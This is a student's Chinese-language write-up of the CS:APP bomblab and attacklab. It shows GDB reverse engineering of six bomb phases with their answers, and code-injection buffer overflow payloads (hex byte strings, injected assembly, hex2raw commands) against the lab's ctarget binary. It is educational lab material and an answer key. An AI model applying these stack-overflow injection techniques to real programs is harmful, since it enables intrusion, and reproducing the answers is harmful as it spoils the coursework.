在”拆弹“过程中结合 GDB 调试,分析理解掌握各种指令和数据结构的汇编代码表示
bomblab 实验给到一个可执行程序和一个C语言的源码,但是源码的函数没有给全,只能判断大致逻辑。
设置了六个关卡需要全部通过之后才算成功,只要有一个关卡失败就会退出
先看了一眼.c文件的源码,文件中有大致如下几个函数 :initialize_bomb()
、read_line()
、explode bomb()
、 phase_[number]()
、phase_defuse
。
其中 explode 用来引爆炸弹结束进程,defuse 拆弹(这两个还有那个初始化炸弹都不太重要),phase 系列函数就是具体每一个关卡对应的函数,每次新关卡都是 read_line()
先接受用户输入再进行判断的。
之前机器里装了 pwndbg 用来调试,我觉得比光秃秃的 gdb 更好用🤪所以我这次还是用它啦
直接 gdb bomb
调试看看,命令 b main
在 main 下断点然后 n
步入到第一个关卡函数。
程序在 read line()
这里停止,接收用户输入。由于关卡在输入之后,所以先输入一些乱码跳过这个函数进入下面的 phase_1
。
phase_1 使用 s
命令进入到函数内部,发现 call strings_not_equal
指令,根据字面意思也可以知道这是比较两个字符串。
此时 rdi 存储我们刚刚输入的内容,rsi 存储程序将要进行比较判断的内容,也是我们应该输入的正确答案:
Border relations with Canada have never been better.
我们这条命令执行完毕后发现返回值是 0x1 也就是 1,后面有一个 test eax,eax
指令跟随零跳转,也就是说只有比较两个字符串相等 才会继续执行程序,如果返回值为 1就会调用 explode_bomb
函数结束程序。
phase_2 进入下一个关卡,还是同样先输入再判断。先填充一些字符串进去再进入函数中调试观察。
进入 phase_2 后看到一个 read_six_number 函数,顾名思义就是读取六个数字。
这里发现读取的数字是从我们开始 read_line()
中输入的字符串截取的, 之后 cmp dword ptr [rsp], 1
指令会将栈指针 rsp 的值和 1 比较。其中 dword ptr 代表要比较的数据在内存中占据4个字节,也就是我们输入的第一个数字要是 1 。
这样之后就会跳转到 phase_2+52
的地方去,我们发现它是一个循环
其中循环中的判断内容是取当前 rbx-4 的值也就是判断的上一个数字的值赋值给 eax, 执行 add eax, eax
将值乘 2 再与当前要判断的数字比较。
总的来看是第一个数字是 1 ,之后的每一个数字都是前面的数字乘 2 。所以在这个关卡应该输入 1 2 4 8 16 32 。
phase_3 进入到函数中发现有一个 scanf()
函数输出的格式化字符串是两个 %d
,也就是我们在第三关要输入两个整数
其中返回值 eax
表示正确格式化的数据个数,这里的判断要求返回值要大于 1 。
随后我们进入到 phase_3+39
,这里进的操作 cmp dword ptr [rsp+8], 7; ja phase_3+106
,目标操作数大于 7 才会进行跳转,跳转过去发现是 explode_bomb()
😅。
我们调试看这个 [rsp+8]
存储的信息就是我们输入的第一个参数,也就是说我们输入的第一个数要是整数且要小于等于 7 。
下面就进入了一个跳转表
我们查看跳转表储存的信息
这里也可以看出来输入的第一个值不能大于7 的原因,它还要用来匹配跳转表对应从0开始到7的索引值。
第一个 0x400f7c
就是 phase_3+57
的地址,我就直接用它,对应我们输入的第一个数字是 0。
这里的指令对应将 0xcf 也就是 207 赋值给 eax,随后将我们输入的第二个数字和 eax 比较,只有相等才能避开 explode_bomb()
看了看其他的选项都是给 eax 赋值再比较,原理是一样的
所以说,综上我们知道第三次输入应该输入两个整数,我输入的是 0 207
phase_4 4和3是一样的套路,要求输入两个整数
不过这次的第一个数要求小于等于 0xe 也就是 14 才能跳转
随后我们进入 func4 ,在此之前可以发现其中的四个参数分别由前面的指令赋值:edx = 0xe=14 、 esi = 0 、 edi = 我们输入的第一个数字
进入 func4 ,太长了直接 disass func4
看这个函数完整的汇编代码
很明显就发现发现它 call 了很多次 func4 也就是说这个是个递归函数,人工反编译一下大概就是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 int func4 (x,y,z) { int arg=z; arg-=y; int val=arg; val>>=31 ; arg+=val; arg>>=1 ; val=arg+y; if (val>x) { z=val-1 ; func4(x,y,z); } else { arg=0 ; if (val<x) { y+=1 ; func4(x,y,z); arg=arg+arg+1 ; } } return arg; }
整理简化一下,让它长得更像我们平时接触到的递归,大概就是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 int func4 (int x,int y,int z) { int arg=z-y; int val=arg>>31 ; arg+=val; arg>>=1 ; val=arg+y; if (val>x) { arg=func4(x,y,val-1 ); } else { arg=0 ; if (val<x) { arg=func4(x,y+1 ,z); arg=arg*2 +1 ; } } return arg; }
根据函数外 phase_4+65
处的判断,如果函数返回值为非 0 就会引爆炸弹,也就是说我们要让这个递归函数的最终返回值为0。写个测试代码运行一下发现 0、1、3 、7 都可以。
在返回值的检验后还有一个对 rsp+0xc
的检验,也就是我们输入的第二个值也要为0。
所以第四处应该输入两个数字,第一个是 0、1、3、7 任选其一,第二个是0 。
phase_5 还是输入 aaaaaaaaa 进入到第五个关卡,有一个 string_lenth()
函数
函数下方紧跟的指令 cmp eax, 6
判断函数的返回值必须是 6,也就是说我们要输入六个字符
往下看成功跳转后的代码,里面还设置了一个 canary 保护,应该是检验上面的 6 长度字符的。代码依旧是很长我们直接看汇编代码
箭头所指就是我们完成输入长度判断跳转后,关卡设置代码开始的地方
先看 explode_bomb 前面用来判断的指令,有一个和 phase_1 一样的 string_not_equal()
函数,比较的文本是 flyers。也就是说我们输入的这个字符串最后的结果要是 “flyers “ ,但前面有那么多指令一定不是只输入一个 flyers 这么简单!
让我们来看一下:
在 +41 和 +74 之间有一个循环的部分,这个循环一定就是对字符串的处理了,同时,可以看出结束循环的标志是 rax=6
也就是说这个循环要进行六次。
我们去掉每次的循环次数判断来分析一下每一行指令都做了什么:
1 2 3 4 5 6 movzx ecx,BYTE PTR [rbx+rax*1] ;rbx=输入的字符串 rax=0,每次循环都会加1 mov BYTE PTR [rsp],cl mov rdx,QWORD PTR [rsp] ;到此句指令每次循环中读取用户输入字符串的一个字符到寄存器中 and edx,0xf ;取当前字符的二进制低四位数字 movzx edx,BYTE PTR [rdx+0x4024b0] ;从0x4024b0读取第rdx的字符,rdx=edx mov BYTE PTR [rsp+rax*1+0x10],dl ;保存截取的字符
0x4024b0
处存储着一段字符串 “maduiersnfotvbylSo you think you can stop the bomb with ctrl-c, do you? “,四位的二进制最大是16,也就是说用来做判断的字符串有效值就是 maduiersnfotvbyl ,后面是作者在内涵我们
至此我们得出了字符串处理的方法,每次循环从输入的字符串按顺序取一个字符,检查所取字符的低四位数字,以这个数字为偏移在给定字符串中查找,要求最后的结果是 flyers。
我写了一个函数来找可见字符串的组合:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 #include <stdio.h> #include <stdlib.h> int main () { int targetValue[6 ]={9 ,15 ,14 ,5 ,6 ,7 }; char visibleChars[] = " !#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~" ; for (int j=0 ;j<6 ;j++) { printf ("\n找到尾数为%d的字符:" ,targetValue[j]); for (int i = 0 ; visibleChars[i] != '\0' ; i++) { char currentChar = visibleChars[i]; int charValue = currentChar - '0' ; if ((charValue & 0xF ) == targetValue[j]) { printf ("%c " , currentChar); } } } getchar(); return 0 ; }
每一个拎出来一个组合一下就行,我选的 ionefg 主要是全是小写字母不用大小写转换
phase_6
本来说是这道题可以不做,但是我又不想这个国庆假期里去看新东西了(我是懒惰虫,就做了一下子,然后这一道题做了一天😿
已经摸清套路了,这个环节要求输入六个数字。
汇编代码很长,大致看了一下在整个函数里面跳来跳去的,看着就头昏。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 0x00000000004010f4 <+0>: push r14 0x00000000004010f6 <+2>: push r13 0x00000000004010f8 <+4>: push r12 0x00000000004010fa <+6>: push rbp 0x00000000004010fb <+7>: push rbx 0x00000000004010fc <+8>: sub rsp,0x50 0x0000000000401100 <+12>: mov r13,rsp 0x0000000000401103 <+15>: mov rsi,rsp 0x0000000000401106 <+18>: call 0x40145c <read_six_numbers> ;读六个数字 0x000000000040110b <+23>: mov r14,rspn 0x000000000040110e <+26>: mov r12d,0x0 0x0000000000401114 <+32>: mov rbp,r13 0x0000000000401117 <+35>: mov eax,DWORD PTR [r13+0x0] ;取一个数字 0x000000000040111b <+39>: sub eax,0x1 ;将取出的数字-1 0x000000000040111e <+42>: cmp eax,0x5 ;结果要小于等于5 0x0000000000401121 <+45>: jbe 0x401128 <phase_6+52> 0x0000000000401123 <+47>: call 0x40143a <explode_bomb> 0x0000000000401128 <+52>: add r12d,0x1 0x000000000040112c <+56>: cmp r12d,0x6 ;六次循环 0x0000000000401130 <+60>: je 0x401153 <phase_6+95> 0x0000000000401132 <+62>: mov ebx,r12d 0x0000000000401135 <+65>: movsxd rax,ebx 0x0000000000401138 <+68>: mov eax,DWORD PTR [rsp+rax*4] 0x000000000040113b <+71>: cmp DWORD PTR [rbp+0x0],eax ;判断数字是否两两相等 0x000000000040113e <+74>: jne 0x401145 <phase_6+81> 0x0000000000401140 <+76>: call 0x40143a <explode_bomb> 0x0000000000401145 <+81>: add ebx,0x1 0x0000000000401148 <+84>: cmp ebx,0x5 0x000000000040114b <+87>: jle 0x401135 <phase_6+65> 0x000000000040114d <+89>: add r13,0x4 0x0000000000401151 <+93>: jmp 0x401114 <phase_6+32> 0x0000000000401153 <+95>: lea rsi,[rsp+0x18] 0x0000000000401158 <+100>: mov rax,r14 0x000000000040115b <+103>: mov ecx,0x7 0x0000000000401160 <+108>: mov edx,ecx ;edx=7 0x0000000000401162 <+110>: sub edx,DWORD PTR [rax] ;当前数字-7,结果覆盖原数字 0x0000000000401164 <+112>: mov DWORD PTR [rax],edx 0x0000000000401166 <+114>: add rax,0x4 ;准备读取下一个数字 0x000000000040116a <+118>: cmp rax,rsi ;判断是不是最后一次循环 0x000000000040116d <+121>: jne 0x401160 <phase_6+108> ;跳转回操作数字处理继续进行下一个数字的处理 0x000000000040116f <+123>: mov esi,0x0 0x0000000000401174 <+128>: jmp 0x401197 <phase_6+163> 0x0000000000401176 <+130>: mov rdx,QWORD PTR [rdx+0x8] 0x000000000040117a <+134>: add eax,0x1 0x000000000040117d <+137>: cmp eax,ecx 0x000000000040117f <+139>: jne 0x401176 <phase_6+130> 0x0000000000401181 <+141>: jmp 0x401188 <phase_6+148> 0x0000000000401183 <+143>: mov edx,0x6032d0 0x0000000000401188 <+148>: mov QWORD PTR [rsp+rsi*2+0x20],rdx 0x000000000040118d <+153>: add rsi,0x4 0x0000000000401191 <+157>: cmp rsi,0x18 0x0000000000401195 <+161>: je 0x4011ab <phase_6+183> 0x0000000000401197 <+163>: mov ecx,DWORD PTR [rsp+rsi*1] 0x000000000040119a <+166>: cmp ecx,0x1 0x000000000040119d <+169>: jle 0x401183 <phase_6+143> 0x000000000040119f <+171>: mov eax,0x1 0x00000000004011a4 <+176>: mov edx,0x6032d0 0x00000000004011a9 <+181>: jmp 0x401176 <phase_6+130> 0x00000000004011ab <+183>: mov rbx,QWORD PTR [rsp+0x20] 0x00000000004011b0 <+188>: lea rax,[rsp+0x28] 0x00000000004011b5 <+193>: lea rsi,[rsp+0x50] 0x00000000004011ba <+198>: mov rcx,rbx 0x00000000004011bd <+201>: mov rdx,QWORD PTR [rax] 0x00000000004011c0 <+204>: mov QWORD PTR [rcx+0x8],rdx 0x00000000004011c4 <+208>: add rax,0x8 0x00000000004011c8 <+212>: cmp rax,rsi 0x00000000004011cb <+215>: je 0x4011d2 <phase_6+222> 0x00000000004011cd <+217>: mov rcx,rdx 0x00000000004011d0 <+220>: jmp 0x4011bd <phase_6+201> 0x00000000004011d2 <+222>: mov QWORD PTR [rdx+0x8],0x0 0x00000000004011da <+230>: mov ebp,0x5 0x00000000004011df <+235>: mov rax,QWORD PTR [rbx+0x8] 0x00000000004011e3 <+239>: mov eax,DWORD PTR [rax] 0x00000000004011e5 <+241>: cmp DWORD PTR [rbx],eax 0x00000000004011e7 <+243>: jge 0x4011ee <phase_6+250> 0x00000000004011e9 <+245>: call 0x40143a <explode_bomb> 0x00000000004011ee <+250>: mov rbx,QWORD PTR [rbx+0x8] 0x00000000004011f2 <+254>: sub ebp,0x1 0x00000000004011f5 <+257>: jne 0x4011df <phase_6+235> 0x00000000004011f7 <+259>: add rsp,0x50 ;准备结束函数 0x00000000004011fb <+263>: pop rbx 0x00000000004011fc <+264>: pop rbp 0x00000000004011fd <+265>: pop r12 0x00000000004011ff <+267>: pop r13 0x0000000000401201 <+269>: pop r14 0x0000000000401203 <+271>: ret
乱七八糟乱七八糟
这个循环大概分为几个部分:
+23 - +60 判断输入的六个数字是否都小于等于6
+62 - +93 两个小循环来判断输入的数字是不是重复的
+108 -+128 所有数字都与7做差再用结果覆盖原始值
+130 - +181 重新安排链表
+183 - +257 检验链表中的数据是否从大到小排序
关于链表的操作部分:
+130 处的操作是 mov rdx,QWORD PTR [rdx+0x8]
,这是链表的一种表示方法,将链表中的节点串接起来。
在 +176 处取了一个地址进行操作,查看此处内存数据:
根据信息存储的方式也可以判断出这是一个链表,从 1-6 每一个索引值对应节点存储的数据为:332,168,924,691,477,413
也就是说这部分中,程序会先用7减去我们输入的数据,然后以我们输入的数据的顺序来重新排列链表中数据的顺序。比如我们输入 1、2、3、4、5、6 ,与 7 做差结果是 6、5、4、3、2、1,假设我们用 [n] 来表示原本链表中的第n个数据,那么它的排序顺序就是 [6]、[5]、[4]、[3]、[2]、[1],并且此时我们需要保证数据是从大到小排序的。
所以可以逆向分析,我们先把原链表中的数据排序,顺序是 3、4、5、6、1、2。又因为我们需要先与 7 做差,再逆向推回去就是 4、3、2、1、6、5 。
我最后总的作答是这样的
1 2 3 4 5 6 Border relations with Canada have never been better. 1 2 4 8 16 32 0 207 0 0 ionefg 4 3 2 1 6 5
完结撒花~🥳
attaklab 是书中的第三个实验,但是感觉实验内容和第三章的内容没什么关系
一共是两个文件,一个是 ctarget
,一个是 rtarget
其中 ctarget 是存在代码注入攻击漏洞,rtarget是存在面向返回的编程(ROP)攻击漏洞。
hex2raw
是题目为我们提供的把十六进制表示转换为二进制数据的工具(超级简易版 pwntools !),确定好要给ctarget
输入的信息,用 hex2raw
转换,通过 Linux 终端的 IO 重定向功能,就可以输入给进程。
我只做了 ctarget。
gdb 调不了这个文件不知道为啥,就 objdump -d ctarget > ctarget.s 了汇编文件
touch1
任务描述:当函数 getbuf 返回后,让 ctarget 执行函数 touch1 ,而不是继续执行函数 test 。
最开始就让输入一串字符串,目的是覆盖返回地址,使程序跳转到 touch1
真的很怪这个程序的开始部分不在 main 函数里,所在函数叫 getbuf
,被很多层的嵌套在了 launch
函数里
1 2 3 4 5 6 7 8 9 00000000004017a8 <getbuf>: 4017a8: 48 83 ec 28 sub $0x28,%rsp 4017ac: 48 89 e7 mov %rsp,%rdi 4017af: e8 8c 02 00 00 callq 401a40 <Gets> 4017b4: b8 01 00 00 00 mov $0x1,%eax 4017b9: 48 83 c4 28 add $0x28,%rsp 4017bd: c3 retq 4017be: 90 nop 4017bf: 90 nop
第一个sub
指令把栈顶往下挪了40字节,也就是给缓冲区分配了40字节,然后调用了Gets
,Gets
接收用户输入字符串。
所以,我们需要填充 (0x28+8) 个字符,再填充 touch1
的地址 0x04017c0 覆盖返回地址。 hex2raw
接受十六进制的数据,再加上小端序处理信息,所以我们要喂给 hex2raw
的数据是:
1 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 c0 17 40
得出结果再丢给ctarget就行辣!
1 2 3 4 5 6 7 8 9 10 11 $ vim touch1.txt $ ./hex2raw < touch1.txt > touch1 $ ./ctarget -q -i ./touch1 Cookie: 0x59b997fa Touch1!: You called touch1() Valid solution for level 1 with target ctarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:ctarget:1:11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 C0 17 40
touch2
任务描述:当函数 getbuf 返回后,让 ctarget 执行函数 touch2 ,而不是继续执行函数 test 。
还是和 touch1
一样覆盖返回地址,但是这次还要传递一个参数,下面是 touch2
的汇编代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 00000000004017ec <touch2>: 4017ec: 48 83 ec 08 sub $0x8,%rsp 4017f0: 89 fa mov %edi,%edx 4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel> 4017f9: 00 00 00 4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie> 401802: 75 20 jne 401824 <touch2+0x38> 401804: be e8 30 40 00 mov $0x4030e8,%esi 401809: bf 01 00 00 00 mov $0x1,%edi 40180e: b8 00 00 00 00 mov $0x0,%eax 401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt> 401818: bf 02 00 00 00 mov $0x2,%edi 40181d: e8 6b 04 00 00 callq 401c8d <validate> 401822: eb 1e jmp 401842 <touch2+0x56> 401824: be 10 31 40 00 mov $0x403110,%esi 401829: bf 01 00 00 00 mov $0x1,%edi 40182e: b8 00 00 00 00 mov $0x0,%eax 401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt> 401838: bf 02 00 00 00 mov $0x2,%edi 40183d: e8 0d 05 00 00 callq 401d4f <fail> 401842: bf 00 00 00 00 mov $0x0,%edi 401847: e8 f4 f5 ff ff callq 400e40 <exit@plt>
我真的看汇编头晕我丢给 ida 了
检查条件是 val = cookie
,cookie 每次都是一样的 0x59b997fa
。我们要把这个值传给 val,可以用命令 movq 0x59b997fa,%rdi
实现。
第一个参数用 rdi 传递
如此,我们就可以在 getbuf 时填入该语句,再将返回地址改写成 touch2 的地址,这样一来再次跳转执行 ret
,就可以执行我们写入的命令
1 2 3 movq 0x59b997fa,%rdi pushq 0x04017ec retq
最后获得的字节序列是
1 48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 00 00
touch3
任务描述:当函数 getbuf 返回后,让 ctarget 执行函数 touch3 ,而不是继续执行函数 test 。
同样还是从 test 跳转到 touch3
,这次是调用了一个函数 hexmatch()
hexmatch()
必须为 true 才能成功
就是要对比 sval 和 转化成字符串后的 cookie ,让它们俩相等。可以使用 man ascii
命令,得到字符串59b997fa 的十六进制表示:
1 59b997fa => 35 39 62 39 39 37 66 61
在C语言中字符串需要在末尾补上结束符'\0'
,其对应的十六进制形式为0x00
。因此,字符串的完整表示为:
1 35 39 62 39 39 37 66 61 00
由于此处 v2 为指针指向某处地址,我们要将 rdi 地址设置为字符串的地址。此时我们需要考虑把字符串存储在哪里,由于函数 hexmatch 和 strncmp 被调用时,getbuf 使用的缓冲区会被重写。因此,不能将字符串存放在getbuf 的缓冲区中。可以把其存放在 test 的栈帧中。
getbuf的栈顶地址为0x5561dc78
,getbuf 的缓冲区在栈中占了40个字节,随后其返回地址又占了8个字节,共计48=0x30个字节。
1 0x5561dc78 + 0 x30 = 0 x5561dca8
因此,可以将 cookie 值存放在地址 0x5561dca8
中。
注入的汇编代码就是
1 2 3 mov $0x5561dca8, %rdi push $0x4018fa ret
最终的攻击字符串为:
1 48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00
原来这个实验我做了三天😶🌫️果然假期就是懒惰
xsbb:
在 phase_3 的跳转表那里,其实我当时根本没看出来这是跳转表,我去问了 chatCPT😿
编辑记录:
2023-10-03 bomblab
2023-11-20 attacklab